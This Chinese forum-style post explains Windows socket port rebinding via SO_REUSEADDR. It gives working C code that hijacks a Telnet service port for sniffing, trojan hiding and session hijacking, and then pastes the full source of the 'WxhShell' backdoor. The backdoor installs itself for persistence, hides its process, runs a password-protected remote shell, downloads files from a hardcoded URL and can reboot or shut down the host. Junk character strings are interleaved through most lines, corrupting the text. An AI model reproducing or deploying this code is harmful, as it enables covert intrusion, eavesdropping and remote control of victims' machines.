在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
m+Y@UgB s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=fo4x|{O DXKyRkn6e saddr.sin_family = AF_INET;
Ip>^O/}$1 h=hoV5d@ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
DeA @0HOxh }g}6qCv7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3nwz<P !loO%3_) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
]a)IMIh; =Q@6c 这意味着什么?意味着可以进行如下的攻击:
PM@XtL7J j\!
e9M 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
f](I.lm: !0b%Jh 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?4:rP@ LxB&7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
E\w+kAAf fzl=d_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
3KtAK9PT pNuqT* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
b<\$d4Qy {&uT3*V1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
9 >%+bA( o1U}/y+R\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
w.tW=z5 >
9o{(j #include
j?( c}!} #include
H;qJH1EdD #include
)+?HI^-[S #include
_ ~|Q4AJ DWORD WINAPI ClientThread(LPVOID lpParam);
{-Yee[d<? int main()
<p09oZ{6 {
[qiOd! WORD wVersionRequested;
INOH{`}Ew DWORD ret;
M]1; WSADATA wsaData;
GN0duV BOOL val;
N. jA 8X SOCKADDR_IN saddr;
rrAqI$6 SOCKADDR_IN scaddr;
+B# qu/By int err;
gNTh% e SOCKET s;
1f<RyAE?5 SOCKET sc;
cu<y8
:U< int caddsize;
O5O.><RP HANDLE mt;
ikr7DBLt DWORD tid;
XYts8}y5 wVersionRequested = MAKEWORD( 2, 2 );
"i&fp:E0 err = WSAStartup( wVersionRequested, &wsaData );
|IAW{_9)U if ( err != 0 ) {
+Jdm#n?_ printf("error!WSAStartup failed!\n");
+uELTHH= return -1;
/0
_zXQyV }
(oF-O{ saddr.sin_family = AF_INET;
oQ{cSThj o'96ON0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
b9y)wBC%` G,B?&gFX saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
5.dl>, saddr.sin_port = htons(23);
KhrFg1| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*(icR {
Z&A0hI4d printf("error!socket failed!\n");
TQ?#PRB return -1;
X>}@EHT }
bGu([VB val = TRUE;
6i| ~7md, //SO_REUSEADDR选项就是可以实现端口重绑定的
!j{CuA/ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
iyc$)"w {
SAy{YOLtl printf("error!setsockopt failed!\n");
4b=Gg return -1;
?&6Q%IUW1 }
).Q[!lly //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
>4~#%& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
W1hX?!xp! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
<}cZi4l' $D}"k!H if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
G~(&3 {
aV#h5s ret=GetLastError();
_\UIc;3Gl printf("error!bind failed!\n");
l77'Lne return -1;
r,0@~;zA }
8A!'I<S1 listen(s,2);
2Y$ while(1)
:kt/$S^- {
Iqx84 caddsize = sizeof(scaddr);
H~eGgm;p //接受连接请求
|*ReqM|_C sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
3[.3dy7,Z if(sc!=INVALID_SOCKET)
UG # X/%p {
{l@WCR mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
n_}aZB3;U if(mt==NULL)
%XR<isn {
~TM>"eB b printf("Thread Creat Failed!\n");
-zdmr"CA break;
PV(4$I} }
5/,Qz>QE[ }
_-RyHgX CloseHandle(mt);
8RU.}PD }
=gs~\q closesocket(s);
`|,Bm|~: WSACleanup();
{pC\\} return 0;
zQ_z7FJCB }
9*DEv0}a^ DWORD WINAPI ClientThread(LPVOID lpParam)
5x2L(l-2 {
yuv4* SOCKET ss = (SOCKET)lpParam;
"|hlDe< SOCKET sc;
8+ hhdy*b unsigned char buf[4096];
` .$&T7 SOCKADDR_IN saddr;
14-]esSa long num;
&//2eL DWORD val;
TA| s@T{ DWORD ret;
?9Ma^C;} //如果是隐藏端口应用的话,可以在此处加一些判断
E>"8/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
($'V&x8T saddr.sin_family = AF_INET;
.lr5!Stb saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
#"<?_fao~ saddr.sin_port = htons(23);
J
3B`Krh if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
H nd+l)ng {
7gr^z)${J printf("error!socket failed!\n");
GL`tOD:P" return -1;
0#^Bf[Dn }
,Y-S( val = 100;
[4: Yi{> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
q~M2:SN@X {
OT@yPG ret = GetLastError();
_@K YF) return -1;
7f*
RM }
r>O|L%xpv if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\OY}GRKt {
/?U!y?t&@ ret = GetLastError();
2lo:a{}j return -1;
|EEi&GOR(y }
QXY}STs if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
x)5LT}p {
kV+ R5R printf("error!socket connect failed!\n");
o[^Q y(2~ closesocket(sc);
-yl;3K]l closesocket(ss);
}uiPvO+&p return -1;
a
ea0+,; }
mrqaM2,(I while(1)
g>T {
d' OGVN //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
USFg_sO //如果是嗅探内容的话,可以再此处进行内容分析和记录
87}(AO) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
(l_:XG)7~b num = recv(ss,buf,4096,0);
x,uBJ if(num>0)
U6c@Et , send(sc,buf,num,0);
.
pP7"E4] else if(num==0)
,cD1{T\ break;
L;lk.~V4T num = recv(sc,buf,4096,0);
32^#RlSu8 if(num>0)
@,e8t BL send(ss,buf,num,0);
#9,=Owup
else if(num==0)
\4QH/e break;
B\0t&dai|' }
Eu4 &-i closesocket(ss);
?;RD u[eD closesocket(sc);
^RDU
p5,T return 0 ;
_D
JCsK| }
zR/IqW.`9 S (tEwXy ]5)"gL%H` ==========================================================
.<.#aY;N cmIT$?J 下边附上一个代码,,WXhSHELL
WGMb8 /{$P [4\aYB 9N ==========================================================
u>}zm_ t)'dF*L #include "stdafx.h"
.pW o >`" nALnB1 #include <stdio.h>
7UDq/:}Fo #include <string.h>
L#!$hq9{_ #include <windows.h>
~j]dct7 #include <winsock2.h>
rKT)!o' #include <winsvc.h>
?Q?598MC #include <urlmon.h>
\HD-vINV; N%*9&FjrL #pragma comment (lib, "Ws2_32.lib")
r&Qt_ #pragma comment (lib, "urlmon.lib")
b!,ja? 0ERsMnU' #define MAX_USER 100 // 最大客户端连接数
sZwZWD' #define BUF_SOCK 200 // sock buffer
yKlU6t&`
G #define KEY_BUFF 255 // 输入 buffer
i7s\CY #fj[kq)&S #define REBOOT 0 // 重启
C=yD3mVz #define SHUTDOWN 1 // 关机
uQ^hV%|" 67?n-NP #define DEF_PORT 5000 // 监听端口
2`E!| X .:[`j3s )Y #define REG_LEN 16 // 注册表键长度
b}}y=zO|$ #define SVC_LEN 80 // NT服务名长度
v8 M?R!n$N_ // 从dll定义API
J^h'9iQpi typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
FR["e1<0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
dE GX3 - typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
3fl7~Lw, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
wonYm27f 0$QIfT) // wxhshell配置信息
Uuz?8/w}# struct WSCFG {
V]m^7^m3 int ws_port; // 监听端口
-f 4>MG char ws_passstr[REG_LEN]; // 口令
!xymoiArp int ws_autoins; // 安装标记, 1=yes 0=no
pALJl[Cb char ws_regname[REG_LEN]; // 注册表键名
3a9u"8lG char ws_svcname[REG_LEN]; // 服务名
+ ~~ Z0.[ char ws_svcdisp[SVC_LEN]; // 服务显示名
4&]%e6,jH char ws_svcdesc[SVC_LEN]; // 服务描述信息
1J&\,f& char ws_passmsg[SVC_LEN]; // 密码输入提示信息
BCBU b int ws_downexe; // 下载执行标记, 1=yes 0=no
#fN/LO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
L^)qe^%3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
C/ *_#&"(P };
g&kH'fR8 SM$\;)L // default Wxhshell configuration
zuMO1s struct WSCFG wscfg={DEF_PORT,
@.1Qs`pt "xuhuanlingzhe",
:Fnzi0b 1,
BvQUn@ XE "Wxhshell",
*w|iu^G "Wxhshell",
P8IRH#ED "WxhShell Service",
5Xj|:qz<( "Wrsky Windows CmdShell Service",
!?6.!2 "Please Input Your Password: ",
Vf$1Sj w 1,
oc:x&`j "
http://www.wrsky.com/wxhshell.exe",
$ hoYkA "Wxhshell.exe"
,6RQvw };
!]G jIT]Oh 0JyqCbl // 消息定义模块
l@#b;M/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
K#@K"N= char *msg_ws_prompt="\n\r? for help\n\r#>";
r_q~'r35 _ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
}H; ]k-) char *msg_ws_ext="\n\rExit.";
XHZLWh"gS char *msg_ws_end="\n\rQuit.";
8;0^'Qr8 char *msg_ws_boot="\n\rReboot...";
~T7\8K+ $ char *msg_ws_poff="\n\rShutdown...";
7BS/T char *msg_ws_down="\n\rSave to ";
<\p&jk? ,[^o9u uB char *msg_ws_err="\n\rErr!";
Xj(>.E{~H char *msg_ws_ok="\n\rOK!";
qhnapZJ "raj>2@ char ExeFile[MAX_PATH];
v =>3"!* int nUser = 0;
6# R;HbkO HANDLE handles[MAX_USER];
:/~_sJt C int OsIsNt;
X tR`? eWw y28t SERVICE_STATUS serviceStatus;
T%w(P ^qk SERVICE_STATUS_HANDLE hServiceStatusHandle;
y/H8+0sEk gsi<S6DQ8 // 函数声明
A>5S] int Install(void);
;2BPPZ int Uninstall(void);
\wTW?>oZ int DownloadFile(char *sURL, SOCKET wsh);
IQ#So]9~Y int Boot(int flag);
5uzpTNAMM1 void HideProc(void);
E tdd\^ int GetOsVer(void);
dbd"pR 8v int Wxhshell(SOCKET wsl);
Wz5d|b void TalkWithClient(void *cs);
F\:{}782u int CmdShell(SOCKET sock);
u>1v~3,r# int StartFromService(void);
(a,6a int StartWxhshell(LPSTR lpCmdLine);
4@gl4&<h >|(WS.n 3C VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{8_:4`YZ VOID WINAPI NTServiceHandler( DWORD fdwControl );
S~}$Ly@ fq{I$syY // 数据结构和表定义
2AmR(vVa" SERVICE_TABLE_ENTRY DispatchTable[] =
(Y&R0jt {
=w t-YM {wscfg.ws_svcname, NTServiceMain},
JLt{f=`%F {NULL, NULL}
31H|?cg< };
ddl3fl#f W%w82@' // 自我安装
7~:>WMv9 int Install(void)
Kgps_tY% {
Gtf1}UJC char svExeFile[MAX_PATH];
2 e) HKEY key;
- f+CyhR"* strcpy(svExeFile,ExeFile);
k#BU7Exij (]oFB$ // 如果是win9x系统,修改注册表设为自启动
Af$0 o=". if(!OsIsNt) {
?! !;XW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
x>'?IJZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/\Jc:v#Q RegCloseKey(key);
-0/=k_q_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{3jm%ex RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@
$9m>6V RegCloseKey(key);
*'s&/vEy return 0;
+W!'B
r }
Id; mn}+~ }
RiwEuY }
[Q7`RB else {
;9 lqSv/6 &0?DL // 如果是NT以上系统,安装为系统服务
H;4oZ[g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4+ykE: if (schSCManager!=0)
[<,0A]m
{
X*(gT1"t SC_HANDLE schService = CreateService
`>$gy/N (
%9fa98> schSCManager,
!x+MVJ] wscfg.ws_svcname,
`W6:=H wscfg.ws_svcdisp,
Be'?#Qe SERVICE_ALL_ACCESS,
_Jt_2o%G SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
]KfghRUH SERVICE_AUTO_START,
A632 :V SERVICE_ERROR_NORMAL,
,%&
LG],6 svExeFile,
0q-0zXlSL NULL,
ytuWT,u NULL,
Nu>sp,|A NULL,
+F#=`+V NULL,
BHIZHp NULL
sqgD?:@J );
]=O{7# if (schService!=0)
UXXqE4x {
zEnC[~W CloseServiceHandle(schService);
fq)Ohb CloseServiceHandle(schSCManager);
mg/C Ux strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
\k2C 5f strcat(svExeFile,wscfg.ws_svcname);
WoC\a^V if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
1)nM#@%](h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
k
2
mkOb RegCloseKey(key);
'` BjRg57] return 0;
+Y_Q?/M@8 }
y$+!%y* }
)m$1al CloseServiceHandle(schSCManager);
/1s 9;'I }
3Y.d&Nz }
3 LZL!^ 5N D~[N_ return 1;
w yuJSB }
Iqe=#hUFe! 0jl:Yzo&\ // 自我卸载
RBMMXJj int Uninstall(void)
3}.mp}K5 {
0`aHwt/F HKEY key;
IeqWR4Y "RR./e)h if(!OsIsNt) {
V{/)RZ/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
I\F=s-VVY RegDeleteValue(key,wscfg.ws_regname);
#L).BM RegCloseKey(key);
js%4;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%Hh &u
. RegDeleteValue(key,wscfg.ws_regname);
Z`0r]V`Ys RegCloseKey(key);
*IjdN,wox return 0;
^Y*`D_-G }
f6(9wz$Trt }
O4'kS
@ }
?[*@T2Ck else {
m,kvEQ3 |yId6v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
* 7zN if (schSCManager!=0)
8Pnqmjjj {
tOlzOBzR SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
9phD5b~j if (schService!=0)
9>}(]T {
!Ed<xG/ if(DeleteService(schService)!=0) {
*cb
D&R\ CloseServiceHandle(schService);
(<AM+| CloseServiceHandle(schSCManager);
{ 8|Z}?I return 0;
_Oaso > }
ZQJw2LA gO CloseServiceHandle(schService);
!pFKC) }
4IGQ,RTB CloseServiceHandle(schSCManager);
HC<BGIgL }
\|b1s @c8 }
M25z<Y f0fqDmn return 1;
XyKKD&j }
s1*WK&@ D;
35@gtj // 从指定url下载文件
\e5,` int DownloadFile(char *sURL, SOCKET wsh)
JVIcNK) {
+2_6C;_DX HRESULT hr;
gP_d>p:b char seps[]= "/";
s/p>30Fg char *token;
9b=^"K char *file;
2kmna/Qa6 char myURL[MAX_PATH];
sL[(cX?;2 char myFILE[MAX_PATH];
j_YZ(: = >x _:=%Wr+ strcpy(myURL,sURL);
+lf@O&w token=strtok(myURL,seps);
wTgx(LtH while(token!=NULL)
Vms7
Jay {
a\HtxR8L file=token;
H?zCIue3 token=strtok(NULL,seps);
V=8{CmqT }
w!GU~0~3[ [b)K@Ha GetCurrentDirectory(MAX_PATH,myFILE);
5jCEy*%P@ strcat(myFILE, "\\");
RE*S7[ge strcat(myFILE, file);
Ms$7E send(wsh,myFILE,strlen(myFILE),0);
R~seUW7uv" send(wsh,"...",3,0);
1PT_1[eAR hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
A?{aUQB~| if(hr==S_OK)
t9-\x return 0;
q_m#BE;t else
WTy8 N return 1;
/v5g;x_T Q/9vDv }
bUg 2Bm!y +Muia5G // 系统电源模块
BOl$UJ|K int Boot(int flag)
b3HTCO-,fC {
J|64b HANDLE hToken;
_tauhwu TOKEN_PRIVILEGES tkp;
(L6]uNOG "=5vgg3 if(OsIsNt) {
<xh'@592 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
=ym~=
S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
.qU%SmQ^ tkp.PrivilegeCount = 1;
vEee/+1? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
A"T. nqB^y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
#}]il0d if(flag==REBOOT) {
3E2.v5* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
fB ,!|u return 0;
Tk@g9\6O9 }
{CyPcD'$s else {
}JTgj if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
gt~2Br4 return 0;
fm2M i~}0 }
,9j:h)ks? }
kGTc~p( else {
x jUH<LFxy if(flag==REBOOT) {
7J_f/st if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
DDCQ Af return 0;
@IKe<{w }
8LM1oal} else {
/v ;Kb|e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
a0W\? return 0;
arH\QPaka' }
J,M5<s[Xqt }
oP`M\KXau o%JIJ7M return 1;
(w:ACJ[[ }
O?J:+L( M{kh=b)V // win9x进程隐藏模块
2]3Jb{8FI> void HideProc(void)
JGNxJ S<] {
pxnUe1= 7;-i_&vws HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
qN,FX#DP if ( hKernel != NULL )
u4^"E+y^S {
8}E(UsTa pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
(c|qX-%rC ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
O)Dw<j) FreeLibrary(hKernel);
$U.'K!B }
*t*&Q /W zMqEMx9 return;
DczF0Ow }
]mT}
\b B]}V$*$\? // 获取操作系统版本
M4PUJZ] int GetOsVer(void)
iBW6<2@oZF {
RvZ-w$E&? OSVERSIONINFO winfo;
T[=cKYp8\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Qi]Z)v{^ GetVersionEx(&winfo);
cTx/Y&\9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6
&Aa b56 return 1;
4'[ V'c\ else
$zi\ /Yw return 0;
cBf{R^>Fd }
DQnWLC"u !\4FIs&Qv // 客户端句柄模块
Pk_{{Z(1o int Wxhshell(SOCKET wsl)
s\R?@ {
t+q`h3 SOCKET wsh;
E1g$WhXIS struct sockaddr_in client;
1\{F.v DWORD myID;
DK%eFCo<~ |%;txD while(nUser<MAX_USER)
X;>} ;LiK {
=upP3rw int nSize=sizeof(client);
- Sgp,"a wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
rcT<OiYuig if(wsh==INVALID_SOCKET) return 1;
4=:eGlU93U @1Lc`;Wd handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ibw;BU if(handles[nUser]==0)
LdUpVO8)l closesocket(wsh);
1zW6Pb else
3s`3}DKK nUser++;
VNXVuM )c }
nP31jm+A WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
j-|0&X1C zSCPp6 return 0;
XS/TYdXB8 }
s$6#3%h |_m;@.44?U // 关闭 socket
Ka{Zoi] void CloseIt(SOCKET wsh)
5Oq ;V:7 {
Vrh],xK7 closesocket(wsh);
MEUqQ4/Gl nUser--;
3Gv
i!h7 ExitThread(0);
}iAi`_\0; }
jXZNr Z.JTq~`I // 客户端请求句柄
KZNyp%q void TalkWithClient(void *cs)
/d'u1FnA= {
Pc1N~?}. :[3\jLrc SOCKET wsh=(SOCKET)cs;
c*Nbz,: char pwd[SVC_LEN];
T7'$A!c char cmd[KEY_BUFF];
)_?$B6hf,& char chr[1];
;v\n[ int i,j;
N/VIP0Kb -Ma"V while (nUser < MAX_USER) {
tEs$+b ZeZwzH)BD if(wscfg.ws_passstr) {
=T]OYk if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
")OLmkC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{%Sww: //ZeroMemory(pwd,KEY_BUFF);
]"6<"1) i=0;
gId+hxFa:r while(i<SVC_LEN) {
}Jfo(j ?#m5$CFp // 设置超时
.YRSd fd_set FdRead;
,L G&sa" struct timeval TimeOut;
wQc w# FD_ZERO(&FdRead);
y[rLk FD_SET(wsh,&FdRead);
p2K9R4 TimeOut.tv_sec=8;
gKCIfxM TimeOut.tv_usec=0;
"Wp<^s sMo int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Le!I-i(aD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
< r~Tj
KK6YA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
?Dm&A$r pwd
=chr[0]; qfU3Cwy
if(chr[0]==0xd || chr[0]==0xa) { }d(6N&;"zN
pwd=0; (tv h9o
break; nabN.Ly
} L?fv5 S3
i++; !w Bmf&=
} .$iIr:Tc>
SH.'E Hd
// 如果是非法用户,关闭 socket 8Yh2K}
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
f/ZE_MN2
} f]}F_]
Y$^\D'.k
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2 OTpGl
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ipe; %as#
85mQHZ8aR
while(1) { j^.P=;
%`'VXR?`h=
ZeroMemory(cmd,KEY_BUFF); RAC-;~$WB
./d ( @@
// 自动支持客户端 telnet标准 cx|j
_5%i
j=0; $/H'Dt6x
while(j<KEY_BUFF) { G.}yNjL8
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @w0[5ZAj
cmd[j]=chr[0]; (EX
if(chr[0]==0xa || chr[0]==0xd) { w3@te\
cmd[j]=0; zjmc>++<t
break; xcig'4L
} v6:DA#0
j++; u#\3T>o%@
} $$@Tgkg?o
DYS(ZY)4
// 下载文件 &ly[mBP~
if(strstr(cmd,"http://")) { Tx5L
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ect?9S[!y
if(DownloadFile(cmd,wsh)) ,#G@ri:B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z=|@76
else &BgaFx**
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vF,l?cU~
} 9O"?T7i"#
else { J{y@ O
~&x%;cnv_
switch(cmd[0]) { S%@$J~\rx
JI&>w-~D
// 帮助 ezn>3?S
case '?': { Ut+m m\7
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bA)Xjq)Rr
break; ^?2txLv,6
} [3.rG!Na
// 安装 HIF]c
case 'i': { Aq"_hjp
if(Install()) [>-k(D5D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HZT;7<
else $spf=t"nh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uMI2Wnnc:/
break; j!s&yHE1
} F,sT[C
// 卸载 ?vVkZsU
case 'r': { ,"'agg:St
if(Uninstall()) 6]Jv3Re'(I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "#7i-?=
else ;Y"J j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ol? 2Qy.2)
break; .#n?^73
} ?]t8$^m,;
// 显示 wxhshell 所在路径 V/Q6v
YX
case 'p': { Z8T{Xw6%
char svExeFile[MAX_PATH]; 0pR04"`;
strcpy(svExeFile,"\n\r"); gvC2\k{
strcat(svExeFile,ExeFile); -4Xr5j%o
send(wsh,svExeFile,strlen(svExeFile),0);
lcr=^
break; )oj`K,#
} <n><A+D
// 重启 M(|gfsD
case 'b': { AKpux,@xB
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6"DvdJ0MB
if(Boot(REBOOT)) 0^m02\Li
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `9ieTt
else { p})&Zl)V
closesocket(wsh); 9qpH 8j+
ExitThread(0); m[}$&i$(
} NB^.$39n
break; J=$v+8&.
} qSQjAo4t@
// 关机 .JiQq]
case 'd': { #_E8>;)k
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x!< C0N>?z
if(Boot(SHUTDOWN)) 9xWrz;tzo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,
?%`Ky/
else { TX>;2S3q
closesocket(wsh); b &JPLUr
ExitThread(0); gFKQm(0g2
} VY F4q9
break; \R<yja
} j.z#fU
// 获取shell TC2aD&cw{
case 's': { 5}m2D='
CmdShell(wsh); 8]Pf:_e,+
closesocket(wsh); u(BYRB
ExitThread(0); 78X;ZMY
break; &EQov9P7
} _uBf.Qfs
// 退出 ! yxb<
case 'x': { a%AU9?/q#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C{c (K!
CloseIt(wsh); }$7Hf+G
break; {*|yU"
} mz#(\p=T
// 离开 hE=cgO`QU
case 'q': { %pMW5]H
send(wsh,msg_ws_end,strlen(msg_ws_end),0); $]Q_x?
closesocket(wsh); 'g^]ZTxb
WSACleanup(); T|E ;U
exit(1); EGs z{c[8@
break; }{lOsZA
} B82A:t)
} oreSu;`$
} cZwQ{9>
D^A_ 0@
// 提示信息 ZFRKh:|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^D h2_vbI
} mb&b